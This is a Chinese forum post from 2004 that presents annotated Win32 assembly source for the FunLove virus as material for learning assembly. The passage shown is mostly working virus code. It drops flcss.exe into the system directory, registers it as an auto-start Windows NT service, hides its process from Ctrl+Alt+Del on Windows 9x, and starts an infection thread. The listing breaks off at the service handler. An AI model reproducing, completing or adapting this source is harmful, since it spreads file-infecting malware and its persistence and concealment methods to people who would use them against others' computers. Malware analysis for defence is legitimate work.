📄 funlove_vir.txt
字号:
补天论坛 - 编程与软件开发
作 者 主题:FunLove完整病毒分析(推荐)
x-bit
日期:2004-9-27 20:43:26
--------------------------------------------------------------------------------
FunLove完整病毒分析(推荐)
www.hacker.com.cn 黑客防线
//学习win32汇编时,边学边找的个练手工具,停停写写的把注释做出来了,
//感谢给我学习动力和帮助的朋友们,KomsBomb,Vbin.Whg,Wowocockl,Hume.guojpeng,Whale....
//还有我的女朋友,我永远爱她
//我的水平很有限,东西肯定不是那么完美,好在我已经尽力做到详细了,因为我觉得
//如同我一般的想入门的朋友很多,就是没有一份详细的资料,希望这个的东东可以给朋友
//们以启发,里面有些问号的地方,表示我自己都不大理解,有知道了朋友,请告诉我一下
//小第不胜感激......
//希望大家看到有问题的地方一定要告诉我,这就是对我最大的鼓励
//我们的论坛 http://bbs.logincom.com/bbs/cgi-bin/leoboard.cgi
// email:jackhy@21cn.com BY JACKHY /CVC.GB
.386
LARGESTACK
RADIX 16
ASSUME CS:CODE,DS:CODE
CODE SEGMENT USE32
org 100
main:
I equ 1000 - 300
@ equ + ebx - offset VStart
INCLUDE HEADER.ASM
VStart:
INCLUDE HEADER.ASM
; ------------------------------------------------------------------------- ;
; ---------------------------- Startup Code --------------------------- ;
; ------------------------------------------------------------------------- ;
Virus PROC NEAR
call GetVS ;调用getvs,定位;
lea esi,[HostCode @] ;取得变量hostcode,为后面的寻找kernel的基地址做准备;
mov edi,[esp] ;取得esp的地址,这里就是程序在kernel32中的返回地址;
sub edi,08
mov [esp],edi
movsd
movsd
push dword ptr [esp + 04];注意这个是esp+04,详情看后面;
call RelocKernel32 ;调用relockernel32,初始化api地址;
or eax,eax;判断返回的值时候是成功;
jz short Exit;失败则跳转;
cmp byte ptr [OS @],00 ;通过标志值判断操作系统;
jnz short NT_Srv ;如果不是00(9x)的标志,就去nt模块执行;
call Create9xProcess ;调用create9x进程,开始做9x下的处理;
ret ;返回;
NT_Srv: call CreateNTService ;调用nt进程。开始做nt/2000下的处理;
Exit: ret ;返回;
Virus ENDP
; ------------------------------------------------------------------------- ;
; -------------------- NT Service Creation Routine -------------------- ;
; ------------------------------------------------------------------------- ;
CreateNTService PROC PASCAL NEAR
LOCAL SCM_Handle : DWORD;定义本地变量,保存scm控制句柄;。
call RelocAdvapi32;取得高级api的入口地址
or eax,eax --------|
jz short CNT_Failed-----|错误处理;
push 02-------------------|
push 00 |
push 00 |
call OpenSCManagerA-------|以允许创建服务的方式打开manger的数据库,并且返回 一个句柄保存在eax中;
or eax,eax -----------|
jz short CNT_Failed-----|错误处理;
mov SCM_Handle,eax;成功就保存在变量scm_handle中;
call CreateExecutable;调用过程建立文件flcss.exe
or eax,eax ----|
jz short CNT_Exit-----|文件存在则退出;
mov edi,0F01FF--------------|这里的具体含义是什么我不大懂
lea esi,[Service @] |
push edi |
push esi |
push SCM_Handle |
call OpenServiceA------------|打开指定的服务,函数执行成功则返回指向flc服务 的句柄
or eax,eax----------------|
jnz short CNT_Run----------|如果有这个服务就去启动它;
xor eax,eax-----------------------|
push eax |
push eax |
push eax |
push eax |
push eax |
lea eax,[Buffer1 @] ; -> flcss.exe|
push eax |
push 01 ; ErrorControl|错误控制
push 02 ; Start |自动启动的方式,本服务采用;
push 20 ; Type |这里是访问权限,我不清楚
push edi |
push 00 |
push esi |
push SCM_Handle |
call CreateServiceA----------------|建立服务flc,关联进程为flcss.exe
or eax,eax-----------------------|
jz short CNT_Failed--------------|错误处理
CNT_Run:
push 00------------|
push 00 |
push eax |
call StartServiceA-|启动服务;
or eax,eax-----------|
jnz short CNT_Exit----|成功则退出;
CNT_Failed:
call StartInfectionThread;失败,直接启动感染线程;
CNT_Exit:
ret
CreateNTService ENDP
; ------------------------------------------------------------------------- ;
; -------------------- W9x Process Creation Routine ------------------- ;
; ------------------------------------------------------------------------- ;
Create9xProcess PROC NEAR
call CreateExecutable ;创建flcss.exe文件;
or eax,eax ----|比较返回值,失败就退出
jz short P9x_Exit-|
P9x_00:
xor eax,eax ---------|
lea edi,[Buffer2 @] |
push edi |buffer2初始化;
push edi |
mov ecx,040 |
repz stosd -------------|
mov cl,06--------------|循环6次,压入参数,为了createprocess做准备
push eax |
loop $ - 1--------------|
lea esi,[Buffer1 @]---|
push esi |
push 00 |
call CreateProcessA----|建立进程,执行flcess.exe
or eax,eax ----------|
jnz short P9x_Exit----|成功则返回
P9x_Failed:
call StartInfectionThread;失败,就在宿主进程里直接创建一个线程执行;
P9x_Exit:
ret ;返回;
Create9xProcess ENDP
; ------------------------------------------------------------------------- ;
; --------------------- flcss.exe Creation Routine -------------------- ;
; ------------------------------------------------------------------------- ;
CreateExecutable PROC PASCAL NEAR
LOCAL c_FileHandle : DWORD, \ 定义本地变量c_filehandle,存放文件句柄用;
c_BytesWritten : DWORD ;定义本地变量c_bytewritten,存放写入字节数;
USES esi,edi ;保存esi,edi的值,本过程结束后恢复;
lea edi,[Buffer1 @] ;取得buffer1的地址,用来存放路径;
push edi ;保存,这里先压,后面的操作用到的时候就可以不压了
push 104;要取得的路径的长度;
push edi;压栈,做为getsystemdirectory的参数;
call GetSystemDirectoryA ;调用api得到系统目录的路径。结果保存在buffer1里
例如:btffer1里面为“C:\WINDOWS\SYSTEM"
add edi,eax ;eax返回的是实际长度,所以edi+eax就是指向现在的字符串的最后
mov al,‘\‘ ;
stosb ; 然后加上”\’号,构成完整的路径"C:\WINDOWS\SYSTEM\";
lea esi,[Process @] -----|
movsd |把flcss.exe加在路径后现在的buffer的内容是
movsd | C:\WINDOWS\SYSTEM\flcss.exe
movsd --------|
push 02 ; 建立文件;(这里有些奇怪,少了个参数)
call OpenFile
cmp eax,-1 ----| 失败就退出
jz short CE_Exit--|
mov c_FileHandle,eax ;保存成功后的文件句柄;
lea edi,[VImports + 4 @] ---|
mov eax,-1 |
stosd |清理主引入表
stosd ---------------------|
lea edi,[Kernel32_Relocated @]----|
mov eax,[edi - 8] |清理第二个引入表;
stosd ---------------------|
push 00 -----------|写入文件头,把pe文件的头部写入到新建立的 |文件中去;
lea esi,c_BytesWritten |
push esi |注意:ebx是开始写入的地址,在程序中,因为定 |位后它是做为的定位的基地址处理的,大家在看 |看前面的 VStart:
| INCLUDE HEADER.ASM
|因为程序包含了header.asm,所以这里其实就是 |指向了header.asm的开始位置,就是文件头了
|所以就用的是ebx
push 0200 |
push ebx |
push c_FileHandle |
call WriteFile --------------|
push 00 --------------------|
push esi |写入病毒体,把包括文件头再内的病毒体一起写 |入到文件中去
push Phys_VSize |
push ebx |
push c_FileHandle |
call WriteFile ----------------|
push c_FileHandle--------------|关闭文件
call CloseHandle---------------|
CE_Exit:
inc eax ;eax加1,做为成功与否的判断;
ret ;返回;
CreateExecutable ENDP
; ------------------------------------------------------------------------- ;
; --------------------------- Viral Service --------------------------- ;
; ------------------------------------------------------------------------- ;
VService PROC NEAR;这里就是作为病毒体写入后运行的程序段了,和直接执行的 不大相同;
call GetVS ;定位;
push dword ptr [esp]---|
call RelocKernel32-----|取得api的入口地址
or eax,eax-----------|
jz VS_Exit-----------|失败退出;
cmp byte ptr [OS @],00----------|
jz short W9x_Service_Register--|比较开始判断产生的os标志值,得到os的标志
如果是nt,就顺序执行;
WNT_Service_Hacknowledge://nt模块的处理,这里是//
call RelocAdvapi32;动态搜索高级api的入口地址;
or eax,eax-------|
jz VS_Exit-------|失败退出本过程;
lea esi,[Buffer1 @]
xor eax,eax
lea ecx,[Service @];取得服务名,为后面的登记服务函数做准备;
lea edx,[ServiceDispatcher @];取得作为服务处理程序运行的过程的有效地址;
mov [esi],ecx---------|
mov [esi + 04],edx |
mov [esi + 08],eax |
mov [esi + 0C],eax |
|
push esi---------------|在buffer1中构造参数,压栈,
call StartServiceCtrlDispatcherA;建立服务进程主线程即ServiceDispatcher与服 务控制管理器的连接,我的理解是在系统服务的数 据结构里面做个登记;
W9x_Service_Register:://9x模块的处理,这里是//
lea esi,[USER32_Name @]-----|
push esi |
call LoadLibraryA------------|加载user32.dll库
lea esi,[RegisterClassA + 7 @]----|
push esi |
push eax |
call GetProcAddress----------------|取得RegisterClass这个api的入口地址;
or eax,eax------------------|
jz short VS_00--------------|失败就直接启动感染线程;
mov [esi - 06],eax;成功就保存其入口地址;
lea esi,[Buffer1 @]--------|
mov edi,esi |
xor eax,eax |
mov ecx,0A |
repz stosd -----------------|初始化缓冲区,以作为下面的registercalssapi的参 数
mov dword ptr [esi + 04],-1 ---------|注册一个窗体类,名字为flc;
mov dword ptr [esi + 10],400000 |
lea eax,[Service @] |
mov [esi + 24],eax |
|
push esi |
call RegisterClassA --------------------|
lea esi,[RegisterServiceProcess + 7 @]---|
push esi |
push dword ptr [Kernel32_Base @] |
call GetProcAddress-----------------------| 取得RegisterServiceProcess的入口 地址在kernel32的内存映射空间里
or eax,eax--------------------|
jz short VS_00----------------|失败,直接启动感染过程;
mov [esi - 06],eax;保存其入口地址;
call GetCurrentProcessId ;取得当前进程的唯一id,作为下面的api的参数;
push 01 ---------|
push eax |
call RegisterServiceProcess------|注册当前进程为系统服务,既使得程序在
ctrl+del+alt里面消失
push 8*1000d ------------|
call Sleep---------------|睡眠8秒种;
VS_00:
call StartInfectionThread;启动感染过程;
VS_Exit:
ret
VService ENDP
; ------------------------------------------------------------------------- ;
; ----------------------- NT Service Dispatcher ----------------------- ;
; ------------------------------------------------------------------------- ;
ServiceDispatcher PROC PASCAL NEAR
LOCAL Service_Handle : DWORD;定义本地变量保存服务句柄用;
call GetVS;定位;(可不可以不这么做?);
lea esi,[ServiceHandler @]----------|
lea edi,[Service @] |
push esi |
push edi |
call RegisterServiceCtrlHandlerA-----|返回一个用于可以控制服务的句柄
mov Service_Handle,eax;保存在service_handle这个变量中;
lea esi,[Buffer1 @]------|
mov edi,esi |
mov ecx,06 |
xor eax,eax |
repz stosd----------------|初始化缓冲区buffer1,全0
mov dword ptr [esi],10----------|
mov dword ptr [esi + 04],04 |
mov dword ptr [esi + 08],07-----|初始化参数;
push esi ----------------|
push Service_Handle |
call SetServiceStatus ------------|初始化当前状态,并告诉win系统,come on, 我准备好了,我的当前的信息已经告诉你了
push 8*1000d-----|
call Sleep-------|睡眠8秒(为什么?又睡觉!!!?);
call StartInfectionThread;启动感染子线程;
ret
ServiceDispatcher ENDP
; ------------------------------------------------------------------------- ;
; -------------------------- Service Handler -------------------------- ;
; ------------------------------------------------------------------------- ;
ServiceHandler PROC NEAR
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -